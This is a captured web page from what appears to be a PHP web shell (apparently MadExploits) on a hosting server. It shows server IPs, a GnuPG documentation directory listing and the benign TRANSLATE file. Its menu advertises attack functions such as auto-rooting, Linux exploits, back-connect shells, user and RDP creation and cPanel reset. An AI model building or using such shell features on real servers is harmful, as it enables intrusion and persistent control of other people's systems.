Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.139.236.93
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
gnupg2-2.0.22 /
[ HOME SHELL ]
Name
Size
Permission
Action
examples
[ DIR ]
drwxr-xr-x
AUTHORS
6.36
KB
-rw-r--r--
COPYING
34.25
KB
-rw-r--r--
ChangeLog
41.83
KB
-rw-r--r--
DETAILS
49.75
KB
-rw-r--r--
FAQ
308
B
-rw-r--r--
HACKING
5.76
KB
-rw-r--r--
KEYSERVER
3.02
KB
-rw-r--r--
NEWS
27.63
KB
-rw-r--r--
OpenPGP
4.26
KB
-rw-r--r--
README
6.17
KB
-rw-r--r--
THANKS
13.14
KB
-rw-r--r--
TODO
3.71
KB
-rw-r--r--
TRANSLATE
2.17
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TRANSLATE
$Id$ Note for translators -------------------- Some strings in GnuPG are for matching user input against. These strings can accept multiple values that mean essentially the same thing. For example, the string "yes" in English is "sí" in Spanish. However, some users will type "si" (without the accent). To accomodate both users, you can translate the string "yes" as "sí|si". You can have any number of alternate matches seperated by the | character like "sí|si|seguro". The strings that can be handled in this way are of the form "yes|yes", (or "no|no", etc.) There should also be a comment in the .po file directing you to this file. Help files ---------- GnuPG provides a little help feature (entering a ? on a prompt). This help used to be translated the usual way with gettext but it turned out that this is too inflexible and does for example not allow to correct little mistakes in the English text. For some newer features we require editable help files anyway and thus the existing help strings have neen moved to plain text files names "help.LL.txt". We distribute these files and allow overriding them by files of that name in /etc/gnupg. The syntax of these files is documented in doc/help.txt. This is also the original we use to describe new possible online help keys. The source files are located in doc/ and need to be in encoded in UTF-8. Strings which require a translation are disabled like this .#gpgsm.some.help-item This string is not translated. After translation you should remove the the hash mark so that the entry looks like. .gpgsm.some.help-item This string has been translated. The percent sign is not a special character and if there is something to watch out there will be a remark. Sending new or updated translations ----------------------------------- Please note that we do not use the TP Robot but require that translations are to be send by mail to translations@gnupg.org. We also strongly advise to get subscribed to i18n@gnupg.org and request assistance if it is not clear on how to translate certain strings. A wrongly translated string may lead to a security problem. A copyright disclaimer to the FSF is required by all translators.
Close